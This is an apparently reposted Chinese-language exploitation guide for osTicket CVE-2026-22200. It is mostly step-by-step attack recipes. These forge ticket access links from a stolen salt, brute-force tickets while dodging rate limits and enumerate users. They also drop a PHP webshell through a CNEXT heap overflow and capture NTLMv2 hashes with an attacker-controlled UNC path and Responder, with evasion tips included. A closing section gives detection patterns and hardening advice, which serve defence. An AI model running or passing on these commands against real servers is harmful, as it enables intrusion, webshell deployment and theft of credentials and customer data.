HackTheBox-Trustfall_Cve-2026-22200"

admin 2026-10-19 19:19:56 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

# 从 B 步读到的 ost-config.php 里取 SECRET_SALT(还有 DB 凭据)
python osticket_forge_access_link.py <工单号> <user_id> [email protected] <SALT> https://target
# 产出 view.php?t=..&e=..&a=md5(...) —— 无需登录直接查看任意工单

配方 D —— 匿名访问面准备(枚举与爆破)

# 已知邮箱找工单号(每 2 请求换会话绕限速)
python osticket_access_bruteforce.py https://target [email protected] --start 100000 --end 200000 --delay 0.5 -o hits.txt
# 探测注册用户
python osticket_registered_user_enum.py https://target --file emails.txt

配方 E —— CNEXT RCE(Linux + 老 glibc)

# 1. 读 maps 与 libc 前段(b64zlib 对抗 45KB 截断)
python osticket_ticket_payload_gen.py -f /proc/self/maps,b64zlib /usr/lib/x86_64-linux-gnu/libc.so.6,b64zlib -r
python extract_pdf_images.py Ticket-XXXX.pdf -v

# 2. 碎片 libc → Build ID → 完整 libc
python try_download_libc.py page1_img5.bmp.extracted -o libc

# 3. 生成 RCE 载荷(≤0x140 字节命令)→ 包装成工单 payload
python cnext_exploit_payload_gen.py -l libc -m page1_img4.bmp.extracted \\
  $'echo \\'<?php system($_GET[\"cmd\"]); ?>\\' > ost-shell.php' > cnext_payload
python osticket_ticket_payload_gen.py -p cnext_payload -r
# 投递 → 等待 PDF 渲染触发 iconv 溢出 → ost-shell.php 落地

配方 F —— Windows 变体(UNC → NTLMv2)

# 文件读取指 UNC,捕获服务账户哈希(Responder 侧)
python osticket_ticket_payload_gen.py -f //10.10.14.5/share/logo.png
sudo responder -I tun0        # 目标渲染 PDF 即触发 SMB 认证
# 拿到哈希后接 hashcat/中继链(呼应 KrbRelay/ntlmrelayx 审计系列)

7. 攻击链与实网落地

匿名访客(无账号/无坐席权限)
  ├─ check.py 判定(补丁 oracle + 匿名面)
  ├─ 开工单/回复,注入 <li style=\"list-style-image:url(php%3a//filter/…)\">
  │     ├─ 净化层: 双实体 SEP + URL 编码存活
  │     └─ 导出 PDF: mPDF 取流 → PHP filter 链 → openat/read → BMP 外带
  ├─ 阶段一产出: ost-config.php(DB凭据+SALT) / 任意文件 / /proc/self/maps
  │     ├─ C: SALT → 伪造任意工单访问链接 → 工单内PII/凭据收割
  │     └─ D: 枚举/爆破补齐访问面
  ├─ 阶段二(Linux+老glibc): CNEXT → webshell → 接管 Web 服务账户
  └─ 阶段二(Windows): UNC → NTLMv2 → 中继/爆破 → 内网立足

实网注意(授权前提下):工单是留痕系统——每张注入工单都会进对方数据库、可能触发邮件通知真实坐席(评估前确认邮件通道影响);-r 回复现有工单比开新工单更低调;CNEXT 载荷对堆布局敏感,失败重试要换 --pad;osTicket 常与邮件系统深度绑定,读到 SMTP 凭据后的横向要克制在授权范围内。


8. 冷门但常用的语法与骚操作

冷门但常用:

  1. 1. -f 的三种后缀语法:/etc/passwd(纯文本)|file,b64(二进制转 base64 再嵌图)|file,b64zlib(先 zlib 再 base64,大文件必用)——一个逗号后缀就是一条编码管线;
  2. 2. -r 不只是\"换个模式\":它切换的是 SEP 实体(&#34; → &#38;&#35;&#51;&#52;),因为回复流与新建流的净化轮数不同——净化层级差异被参数化;
  3. 3. php%3a// 的半编码:只编码 :// 中的冒号(%3a),斜杠保留——为的是恰好匹配\"osTicket 内置 mPDF 会 URL 解码路径\"这一次数,多编码一层就废;
  4. 4. 大写字母全编码:quote_with_forced_uppercase 只放行 a-z0-9_.-~——路径里任何大写都会变成 %XX,对抗管线里某处的小写化;
  5. 5. cnext 的命令长度红线 0x140:320 字节内写完落 shell 的命令,超长即失效(源码注释明示)。

骚操作清单:

  1. 1. BMP 画布走私:文件内容扮成 15000×1 的\"像素\"过审出关——内容审计对图片网开一面;
  2. 2. 逆序 base64 铸造:iconv 字典凭空打印字符,\"读文件\"的过滤器先\"无中生有\"一段文件头;
  3. 3. 双实体 SEP 错位解码:净化器与渲染器的解码轮数差,就是引号的生存空间;
  4. 4. 错误信息当版本指纹:登录页返回 \"Invalid User Id\" 还是 \"Invalid username or password\",一个措辞判生死;
  5. 5. 无效表单做侧信道:缺 email 的提交零副作用,却让回显内容出卖净化策略;
  6. 6. 每 2 请求换会话:把会话级限速的存在本身变成绕过指令;
  7. 7. 文件读取的复利:读一个配置文件 = 拿到伪造所有工单访问权的钥匙(SALT);
  8. 8. 45KB 截断的降级解析:碎片 libc 手撸搜 GNU\\x00 抠 Build ID——取证思维反向用于武器化;
  9. 9. 离线化 CNEXT:情报与投送分离,载荷生成可审计可回放;
  10. 10. Windows 免溢出路线:一个 UNC 路径换 NTLMv2——不碰堆、不触 glibc,朴素但致命。

9. 检测与加固(蓝军视角)

检测:

  1. 1. 应用日志:工单消息中出现 list-style-image + php%3a / convert.iconv / resource= 特征串(净化前入库的原始值)——最直接的高置信 IOC;
  2. 2. WAF 规则:对 open.php/tickets.php 提交体匹配 php%3a\\/\\/|convert\\.iconv\\.|convert\\.base64-|\\/resource=(注意双重实体与大小写变体);
  3. 3. PHP 层:开启对 php://filter 的使用审计(stream wrapper 非常规调用);生产环境直接 disable_functions 救不了此处,但可在 mPDF 侧限制图像协议白名单(仅 http/https/本地白名单目录);
  4. 4. 行为侧:PDF 导出任务伴随大量 iconv CPU 与堆活动(CNEXT 尝试的特征);Linux 上 glibc ≥2.39 天然免疫 CNEXT 但不免疫文件读取;
  5. 5. Windows 侧:Web 服务账户对内网/外部 SMB 的出站认证告警(UNC 读取特征),配 Outbound SMB 策略阻断;
  6. 6. 检视暴露面:open.php/view.php/account.php 的匿名可达性是链的第一环——资产盘点时把\"客服门户\"当一等资产。

加固(厂商+Horizon3 建议汇总):

  1. 1. 升级至 osTicket ≥ v1.18.3 / v1.17.7(补丁:登录预校验 Validator::is_userid() + 富文本净化剥离内联 url());
    1. 无法立即升级:关闭自注册(Admin Panel → Users)、强制登录开工单、禁用线程/邮件 HTML(Admin Panel → System)、对服务器出网做防火墙收紧;
    1. glibc 侧:保持系统补丁(≥2.39 修复 CVE-2024-2961)——文件读取→RCE 的桥就此拆除;
    1. 收敛 ost-config.php 等敏感文件权限与 Web 可读性;工单访问令牌(SALT)视为长期密钥管理,泄漏即轮换。

10. 参考链接

  • • 工具仓库:https://github.com/horizon3ai/CVE-2026-22200
  • • Horizon3 官方公告:https://horizon3.ai/attack-research/vulnerabilities/cve-2026-22200/
  • • Horizon3 博客《Ticket to Shell: Exploiting PHP Filters and CNEXT in osTicket》:https://horizon3.ai/attack-research/attack-blogs/ticket-to-shell-exploiting-php-filters-and-cnext-in-osticket-cve-2026-22200/
  • • NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-22200
  • • CVE-2024-2961 原始研究(ambionics/cfreal\_ CNEXT):https://github.com/ambionics/cnext-exploits
  • • HITCON CTF 2022 web2pdf(创意源头):https://blog.splitline.tw/hitcon-ctf-2022/
  • • wupco 字符铸造字典:https://github.com/wupco/PHP\_INCLUDE\_TO\_SHELL\_CHAR\_DICT
  • • osTicket 官方:https://osticket.com
  • • Horizon3 Attack Team:https://twitter.com/Horizon3Attack

本文技术细节均来自对仓库 @ main 分支 8 个脚本的纯静态审计(未执行任何载荷)与上列公开文献交叉验证;仅供授权安全测试与防御研究使用,请遵守当地法律法规。